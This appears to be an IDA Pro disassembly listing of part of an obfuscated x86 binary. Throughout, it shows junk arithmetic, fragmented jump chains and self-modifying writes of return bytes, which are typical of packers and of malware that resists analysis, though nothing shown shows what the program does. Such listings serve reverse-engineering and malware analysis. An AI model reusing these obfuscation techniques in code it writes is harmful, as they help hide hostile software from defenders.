; FUNCTION CHUNK AT 004401E3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00441D99 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00442919 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448DC8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004497DA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A21B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044B7F7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044E0A3 SIZE 00000005 BYTES

		push	edi
		push	50D785CDh
		pop	edi
		and	edi, 0FE5AD504h
		jmp	loc_4396A5
sub_443AFD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA71

loc_443B0F:				; CODE XREF: sub_43FA71+12EFj
		jle	loc_43F8F1
		sub	esi, 0C01B586Ah

loc_443B1B:				; CODE XREF: sub_43FA71:loc_44CFBAj
		call	sub_447E85
; END OF FUNCTION CHUNK	FOR sub_43FA71
; START	OF FUNCTION CHUNK FOR sub_43AB97

loc_443B20:				; CODE XREF: sub_43AB97+D4BFj
		jmp	loc_447300
; END OF FUNCTION CHUNK	FOR sub_43AB97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_443B25:				; CODE XREF: sub_449D59+49Bj
		pop	ebx
		or	ebx, 39A4712Ah
		cmp	ebx, 0D866566Bh
		jmp	loc_43A262
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_443B37:				; CODE XREF: sub_444A5E+68BCj
		or	ecx, ecx
		jz	loc_44C8C7
		call	sub_44DD92

loc_443B44:				; CODE XREF: kgbikm34:0044813Fj
		jl	loc_437069

loc_443B4A:				; CODE XREF: sub_447ED1-2C6Fj
		jmp	loc_437085
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_443B4F:				; CODE XREF: sub_440380:loc_441B9Ej
		xor	ebp, 6432957Ah
		jmp	loc_437067
; END OF FUNCTION CHUNK	FOR sub_440380
; ---------------------------------------------------------------------------

loc_443B5A:				; CODE XREF: kgbikm34:0043A41Cj
		xor	edi, 0F6641FA6h
; START	OF FUNCTION CHUNK FOR sub_446779

loc_443B60:				; CODE XREF: sub_446779:loc_43A404j
		xor	edx, 8B70CEB7h
		and	edx, 0DCDF464Bh
		add	edx, 0AB6E4EACh
		xchg	edx, [esp+0Ch+var_C]
		jmp	sub_444B9B
; END OF FUNCTION CHUNK	FOR sub_446779
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_443B7A:				; CODE XREF: sub_43F145-43BFj
		jnp	loc_43933D
		mov	[edi], ecx
		jle	loc_43FF27
		jmp	loc_43C46B
; END OF FUNCTION CHUNK	FOR sub_43F145
; ---------------------------------------------------------------------------

loc_443B8D:				; CODE XREF: kgbikm34:00445083j
		adc	eax, ebp
		and	edi, 0D2A92D4Bh
		or	edx, edi
		jge	loc_440E21
; START	OF FUNCTION CHUNK FOR sub_44CF08

loc_443B9D:				; CODE XREF: sub_44CF08-7E96j
		xor	edx, 0B6726790h
		jmp	loc_4420AD
; END OF FUNCTION CHUNK	FOR sub_44CF08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AECB

loc_443BA8:				; CODE XREF: sub_43AECB+4E3Dj
		jge	loc_4437A3
		add	esi, 435696E0h
		jmp	loc_4437A1
; END OF FUNCTION CHUNK	FOR sub_43AECB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_443BB9:				; CODE XREF: sub_449D59:loc_438713j
		and	edx, 0A55859Ah
		add	edx, 405B74h
		mov	[edx], eax
		pop	edx
		lea	eax, loc_44491E
		mov	byte ptr [eax],	0C3h
		jmp	loc_43B5BF
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B5BA

loc_443BD6:				; CODE XREF: sub_43B5BA+9365j
		mov	eax, [esp+0]
		jmp	loc_441079
; END OF FUNCTION CHUNK	FOR sub_43B5BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_443BDE:				; CODE XREF: sub_43D494+Bj
		sub	ebx, 53F5C458h
		and	ebx, 0E4B10E33h
		jnz	loc_43AB7C

loc_443BF0:				; CODE XREF: kgbikm34:0044D92Cj
		jmp	loc_44632B
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_443BF5:				; CODE XREF: kgbikm34:0043A833j
		jmp	loc_438627
; ---------------------------------------------------------------------------
		add	edx, 7B1D8BC6h
		adc	eax, esi
		or	edi, ebp
		jmp	loc_43AB7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_443C09:				; CODE XREF: sub_43BCAD:loc_448736j
		jnz	loc_44D46E
		jmp	loc_44953F
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44640C

loc_443C14:				; CODE XREF: sub_44640C+23j
		pop	ecx
		lea	eax, nullsub_198
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_198
; END OF FUNCTION CHUNK	FOR sub_44640C
; ---------------------------------------------------------------------------
		call	nullsub_319
		jmp	ds:dword_41E180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_443C2E:				; CODE XREF: sub_43DC9A+D941j
		jmp	loc_44A6DF
; END OF FUNCTION CHUNK	FOR sub_43DC9A
; ---------------------------------------------------------------------------

loc_443C33:				; CODE XREF: kgbikm34:00446247j
		jmp	locret_445C37
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_319. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_43E521
; ---------------------------------------------------------------------------
		rol	ebx, 4
		mov	[edx], edi
		jmp	sub_43E8DA
; ---------------------------------------------------------------------------
		mov	edx, 0A289EB99h
		pop	edi
		jmp	sub_441784
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439DCD

loc_443C53:				; CODE XREF: sub_439DCD:loc_43A0F3j
		call	sub_4396C0
		pop	ecx
		mov	edx, [ebp+8]
		imul	dword ptr [edx-4]
		add	eax, 2
		jmp	loc_43B2F7
; END OF FUNCTION CHUNK	FOR sub_439DCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAAD

loc_443C67:				; CODE XREF: sub_43EAAD+Ej
		mov	eax, [ebp-10h]
		call	sub_44B537

loc_443C6F:				; CODE XREF: kgbikm34:0043A18Bj
					; kgbikm34:0044229Dj
		mov	[ebp-14h], eax

loc_443C72:				; CODE XREF: kgbikm34:loc_44013Bj
		mov	eax, [ebp-10h]
		call	sub_442DF5
; END OF FUNCTION CHUNK	FOR sub_43EAAD
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_443C7A:				; CODE XREF: sub_446F79:loc_441E71j
		jnz	loc_44DE8A
		jmp	loc_44AADF
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4438E2

loc_443C85:				; CODE XREF: sub_4438E2:loc_4387FFj
		jl	loc_444253

loc_443C8B:				; CODE XREF: kgbikm34:0043B92Dj
		jmp	loc_440B78
; END OF FUNCTION CHUNK	FOR sub_4438E2
; ---------------------------------------------------------------------------
		dd 0F3851989h, 0FF96FBE9h, 2FE852FFh, 68FFFF68h, 4449C2h
					; CODE XREF: kgbikm34:0044C416j
		dd 2E4DE9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFA5

loc_443CA9:				; CODE XREF: sub_43CFA5:loc_447AC4j
		mov	eax, [ebp+8]
		mov	eax, [eax-18h]
		and	eax, 7
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-10h], 0
		jmp	loc_44C5B7
; END OF FUNCTION CHUNK	FOR sub_43CFA5
; ---------------------------------------------------------------------------

loc_443CBE:				; CODE XREF: kgbikm34:loc_44873Bj
		pop	ebp
		xor	ebx, 0B71CB534h
		rol	ebx, 3
		cmp	ebx, 8A82B944h
		jmp	loc_445939
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_443CD3:				; CODE XREF: sub_444A5E:loc_4371DEj
		jbe	loc_438851
		push	0B0B5D60Eh
		mov	edx, [esi]
		jmp	loc_44BB04
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------

loc_443CE5:				; CODE XREF: kgbikm34:00439A64j
		xor	edi, 97D73626h

loc_443CEB:				; CODE XREF: kgbikm34:loc_439A52j
		add	ecx, 84112EFDh
		xchg	ecx, [esp]
		jmp	sub_43BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447193

loc_443CF9:				; CODE XREF: sub_447193:loc_43E47Aj
		mov	eax, [eax]

loc_443CFB:				; CODE XREF: sub_449880:loc_447563j
		movzx	eax, word ptr [eax]
		and	eax, 0FFFF7FFFh
		add	eax, [ebp-0Ch]
		jmp	loc_448401
; END OF FUNCTION CHUNK	FOR sub_447193

; =============== S U B	R O U T	I N E =======================================



sub_443D0B	proc near		; DATA XREF: sub_444BCC-D20Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00440742 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00449E11 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C52F SIZE 00000017 BYTES

		xor	edx, 2D67C1C4h
		call	sub_4487F2
		push	eax
		ror	eax, 13h
		push	edi
		jmp	loc_44C52F
sub_443D0B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_443D20:				; CODE XREF: sub_43B1D6-2A45j
		jns	loc_443380
		and	edx, 0BDB748Ah
		test	eax, 0DFBBEC90h
		jmp	loc_444393
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A445

loc_443D37:				; CODE XREF: sub_43A445:loc_43A45Fj
		add	ebx, 0B03E5A1Bh
		push	offset loc_445B3D
		jmp	nullsub_60
; END OF FUNCTION CHUNK	FOR sub_43A445
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_443D47:				; CODE XREF: sub_44B20C:loc_4419A0j
		jnz	loc_446888
		jmp	loc_438CB3
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_443D52:				; CODE XREF: sub_43F5F7+20CEj
		jz	loc_438E98
		jle	loc_44297C
		cmp	ebx, 6949C200h
		jmp	loc_43C843
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_443D69:				; CODE XREF: sub_44114F:loc_4417D6j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+0]
		call	sub_445D55
		mov	eax, 0D4280129h
		jmp	loc_443893
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_443D82:				; CODE XREF: sub_448C95+9j
		xchg	edx, [esp+0]
		mov	ebp, edx
		pop	edx
		mov	eax, ds:dword_4480B4
		or	eax, eax
		jnz	loc_44960F
		jmp	loc_445FC6
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F72

loc_443D9B:				; CODE XREF: sub_439F72:loc_44D158j
		call	sub_43C7C6
		retn
; END OF FUNCTION CHUNK	FOR sub_439F72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44213E

loc_443DA1:				; CODE XREF: sub_44213E+9966j
		jmp	nullsub_16
; END OF FUNCTION CHUNK	FOR sub_44213E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C093

loc_443DA6:				; CODE XREF: sub_44C093-9372j
		jmp	loc_446EF7
; END OF FUNCTION CHUNK	FOR sub_44C093

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443DAB	proc near		; DATA XREF: sub_4490AC-6850o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B20E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043C5F9 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043CED8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044434F SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_43C5F9
sub_443DAB	endp

; ---------------------------------------------------------------------------

loc_443DB4:				; CODE XREF: kgbikm34:00445AAFj
		push	0B5576E0Dh
		pop	eax
		or	eax, 0B5465F23h
		add	eax, 4AEC8F94h
		xchg	eax, [esp]
		jmp	loc_44BBFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_443DCE:				; CODE XREF: sub_439274:loc_44216Aj
		mov	eax, [eax]
		test	eax, eax
		jle	loc_447394
		jmp	loc_439065
; END OF FUNCTION CHUNK	FOR sub_439274

; =============== S U B	R O U T	I N E =======================================



sub_443DDD	proc near		; CODE XREF: sub_444864+1D21j
		push	ebp
sub_443DDD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_439609

loc_443DDE:				; CODE XREF: sub_43CECD:loc_43A2D8j
					; sub_439609+9DE4j ...
		jmp	loc_44D2B3
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444864

loc_443DE3:				; CODE XREF: sub_444864-B4ECj
					; sub_43CECD:loc_43AB53j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_444864
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_443DE6:				; CODE XREF: sub_440834+141Bj
		jmp	loc_448210
; END OF FUNCTION CHUNK	FOR sub_440834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439D4B

loc_443DEB:				; CODE XREF: sub_439D4B+1Ej
		jmp	loc_43E1A4
; END OF FUNCTION CHUNK	FOR sub_439D4B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443DF0	proc near		; CODE XREF: sub_44B6E1-13D14p
					; kgbikm34:loc_43D2E6j	...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439398 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043AB15 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00440499 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044067D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441610 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00441AF6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444433 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00445267 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004457D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004457E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447247 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00447D36 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A9A1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044ABF4 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_441AF6
sub_443DF0	endp

; ---------------------------------------------------------------------------

loc_443DF9:				; CODE XREF: kgbikm34:0043E86Aj
		sbb	ecx, 99B57C01h

; =============== S U B	R O U T	I N E =======================================



sub_443DFF	proc near		; CODE XREF: kgbikm34:loc_4456EFp

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		add	esi, 0F2FB9B13h
		xchg	esi, [esp-4+arg_0]
		jmp	sub_43A4A3
sub_443DFF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	ebx, 0C1D538D2h
		jmp	sub_43E016
; ---------------------------------------------------------------------------

loc_443E1C:				; CODE XREF: kgbikm34:0043E3C0j
		mov	byte ptr [eax],	0C3h
		jmp	loc_44CCC5
; ---------------------------------------------------------------------------
		call	nullsub_341
		jmp	ds:dword_41E100
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440BF9

loc_443E2F:				; CODE XREF: sub_440BF9-2123j
		jmp	nullsub_343
; END OF FUNCTION CHUNK	FOR sub_440BF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439852

loc_443E34:				; CODE XREF: sub_439852+17ACj
		jmp	loc_44AA06
; END OF FUNCTION CHUNK	FOR sub_439852
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_341. PRESS KEYPAD	"+" TO EXPAND]
		dw 4289h
		dd 87FFFF4Eh, 0E955242Ch, 0FFFFC694h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_443E48:				; CODE XREF: sub_445F1B:loc_4480B8j
		xchg	ecx, [esp+0]
		mov	ebx, ecx
		pop	ecx
		lea	eax, loc_439CA3
		mov	byte ptr [eax],	0C3h
		jmp	loc_439CA3
; END OF FUNCTION CHUNK	FOR sub_445F1B

; =============== S U B	R O U T	I N E =======================================



sub_443E5C	proc near		; CODE XREF: sub_4019FC+82p
					; sub_443E5C+5j
					; DATA XREF: ...
		call	sub_445317
		jmp	ds:off_41E01C
sub_443E5C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444864

loc_443E67:				; CODE XREF: sub_444864+896Cj
		jmp	loc_441ADD
; END OF FUNCTION CHUNK	FOR sub_444864
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_443E6D:				; CODE XREF: kgbikm34:00446276j
		jmp	loc_447556
; ---------------------------------------------------------------------------

loc_443E72:				; CODE XREF: kgbikm34:004433B6j
		jmp	locret_44AD0F
; ---------------------------------------------------------------------------

loc_443E77:				; CODE XREF: kgbikm34:0043E2FEj
		jmp	loc_439091
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B57E

loc_443E7C:				; CODE XREF: sub_44B57E-DAFDj
		jmp	sub_43FC25
; END OF FUNCTION CHUNK	FOR sub_44B57E
; ---------------------------------------------------------------------------

loc_443E81:				; CODE XREF: kgbikm34:0043D040j
		jmp	sub_441819
; ---------------------------------------------------------------------------

locret_443E86:				; CODE XREF: kgbikm34:0043FAA4j
		retn
; ---------------------------------------------------------------------------

loc_443E87:				; CODE XREF: kgbikm34:004371CDj
		and	esi, 0CBF8F2B4h
		jmp	loc_43BFD1
; ---------------------------------------------------------------------------

loc_443E92:				; CODE XREF: kgbikm34:0043CCFBj
		mov	eax, 726FC43Ah
		push	eax
		push	0C800C7D6h
		pop	eax
		add	eax, 0ADC27592h
		sub	eax, 22BC0458h
		xor	eax, 6FE11B28h

loc_443EB0:				; CODE XREF: kgbikm34:0044DEC0j
		jmp	loc_43CDD4
; ---------------------------------------------------------------------------
		push	esi
		push	5B8F1CDAh
		pop	esi
		add	esi, 0C115212h
		and	esi, 2D4C078Bh
		add	esi, 3BC069F4h
		sub	esi, 69C1F82Eh
		add	esi, 9436826h
		jmp	loc_445CFA
; ---------------------------------------------------------------------------

locret_443EDF:				; CODE XREF: kgbikm34:0043976Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448291

loc_443EE0:				; CODE XREF: sub_448291+Dj
		jmp	loc_441E7F
; END OF FUNCTION CHUNK	FOR sub_448291
; ---------------------------------------------------------------------------

loc_443EE5:				; CODE XREF: kgbikm34:00447E2Cj
		jmp	loc_43C8E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396AA

loc_443EEA:				; CODE XREF: sub_4396AA+C48Ej
		jmp	loc_44C484
; END OF FUNCTION CHUNK	FOR sub_4396AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_443EEF:				; CODE XREF: sub_439A2E+6B76j
		jmp	loc_44161F
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_443EF4:				; CODE XREF: sub_43E4C0-1CB8j
		jmp	loc_4395E5
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------

locret_443EF9:				; CODE XREF: kgbikm34:loc_44CCCFj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444B9B

loc_443EFA:				; CODE XREF: sub_444B9B+3j
		jmp	loc_447C56
; END OF FUNCTION CHUNK	FOR sub_444B9B
; ---------------------------------------------------------------------------

loc_443EFF:				; CODE XREF: kgbikm34:0043D288j
		jmp	loc_44A42B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_443F04:				; CODE XREF: sub_43ACD5:loc_43B3BDj
		xor	edx, 0E6856510h
		add	edx, ebp
		add	edx, 1D6A902Ah
		mov	edx, [edx]
		imul	byte ptr [edx]

loc_443F16:				; CODE XREF: kgbikm34:0044CADFj
		cmp	al, 0A4h
		jz	loc_43C878
		jmp	loc_43C19B
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_443F23:				; CODE XREF: sub_44114F+7E95j
		jl	loc_43AAD4

loc_443F29:				; CODE XREF: kgbikm34:0044890Fj
		jmp	loc_447A97
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------

loc_443F2E:				; CODE XREF: kgbikm34:00448156j
		jmp	loc_4425F9
; ---------------------------------------------------------------------------

loc_443F33:				; CODE XREF: kgbikm34:004448E8j
		jmp	loc_440070
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B292

loc_443F38:				; CODE XREF: sub_44B292-8990j
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_44B292
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D26

loc_443F3D:				; CODE XREF: sub_444D26-2577j
		jmp	loc_445714
; END OF FUNCTION CHUNK	FOR sub_444D26
; ---------------------------------------------------------------------------
		sbb	edi, eax
		adc	ebp, edx
		jmp	loc_43AACC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB9F

loc_443F4B:				; CODE XREF: sub_44BB9F-1468j
		rol	eax, 1Eh
		sub	eax, 6DBBD791h
		and	eax, 317A0FD9h
		test	eax, 10000h
		jmp	loc_44C79B
; END OF FUNCTION CHUNK	FOR sub_44BB9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444240

loc_443F65:				; CODE XREF: sub_444240:loc_438F7Fj
		mov	ebp, esp
		push	edx
		call	sub_447D43

loc_443F6D:				; CODE XREF: kgbikm34:0044A1DEj
		jmp	loc_447AF7
; END OF FUNCTION CHUNK	FOR sub_444240
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A5F7

loc_443F72:				; CODE XREF: sub_43A5F7+16CBj
		jmp	loc_439B45
; END OF FUNCTION CHUNK	FOR sub_43A5F7

; =============== S U B	R O U T	I N E =======================================



sub_443F77	proc near		; DATA XREF: kgbikm34:00447315o

; FUNCTION CHUNK AT 0043A00A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00442FD0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00449845 SIZE 00000005 BYTES

		push	ebx
		push	0FB0D2633h
		shl	ebx, 13h
		jmp	loc_449845
sub_443F77	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_302. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_443F86:				; CODE XREF: kgbikm34:0044E0D5j
		jmp	locret_4492CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DE4C

loc_443F8B:				; CODE XREF: sub_44DE4C-447Bj
		cdq

loc_443F8C:				; CODE XREF: sub_44527A:loc_44A955j
		call	sub_44A9D8
		mov	edx, 0F2B89A19h
		push	esi
		push	0A28FCB89h
		pop	esi
		jmp	loc_44875D
; END OF FUNCTION CHUNK	FOR sub_44DE4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442401

loc_443FA2:				; CODE XREF: sub_442401:loc_43AF7Dj
					; kgbikm34:0044B903j
		add	edx, 0C74F8481h
		xor	eax, edx
		pop	edx
		jmp	loc_43F316
; END OF FUNCTION CHUNK	FOR sub_442401
; ---------------------------------------------------------------------------

loc_443FB0:				; CODE XREF: kgbikm34:loc_44D060j
		push	0E074D517h
		xchg	edi, [esp]
		jmp	loc_4372E0
; ---------------------------------------------------------------------------

loc_443FBD:				; DATA XREF: kgbikm34:00442302o
		call	sub_447B31
		mov	eax, [esp]
		push	edx
		push	0F36BC3F5h
		pop	edx
		sub	edx, 24A45D79h
		test	edx, 1000000h
		jmp	loc_43D823
; ---------------------------------------------------------------------------

loc_443FDD:				; DATA XREF: sub_4438E2-2D61o
		add	edi, 6BCC69D1h
		add	edi, ebp

loc_443FE5:				; CODE XREF: kgbikm34:loc_43B302j
		push	edx
		push	0C6BA2C48h
		pop	edx
		jmp	loc_43C186
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_443FF1:				; CODE XREF: sub_44A80D-A219j
		call	sub_43BF6F
		push	edx
		push	27074AAAh
		pop	edx
		jmp	loc_44D5C4
; END OF FUNCTION CHUNK	FOR sub_44A80D

; =============== S U B	R O U T	I N E =======================================



sub_444002	proc near		; CODE XREF: sub_43C9D6+3E3Bp
					; kgbikm34:00442E7Dj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004377F5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00439919 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439E0F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C93E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043CCEE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E221 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F9D2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441E9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441FA4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004464D9 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00446D55 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044700E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004473B7 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00448EC9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00448F2D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00449594 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00449A1C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044CB9D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044D524 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_44B64C
		or	eax, eax
		jnz	loc_43C949
		jmp	loc_441FA4
sub_444002	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_444018:				; CODE XREF: sub_44B6E1-1120j
		jbe	loc_44293D
		push	107CE2E9h
		jmp	loc_43A114
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4391E0

loc_444028:				; CODE XREF: sub_4391E0:loc_44247Bj
		push	edx
		call	sub_43ACD5
		mov	eax, 203AE851h
		push	esi
		push	0F29FBC05h
		pop	esi
; END OF FUNCTION CHUNK	FOR sub_4391E0
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_44403A:				; CODE XREF: sub_439A2E:loc_439983j
		xor	esi, 9F47C4C8h
		sub	esi, 2E05EAF6h
		jmp	loc_43CB50
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------

loc_44404B:				; CODE XREF: kgbikm34:00440EB7j
		jns	loc_4402A3

; =============== S U B	R O U T	I N E =======================================



sub_444051	proc near		; CODE XREF: kgbikm34:00440E74p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439A71 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043B5FA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E226 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440999 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445755 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00448F72 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044B41B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044B617 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044DB2F SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		jns	loc_448F72
		jmp	loc_445755
sub_444051	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_252. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
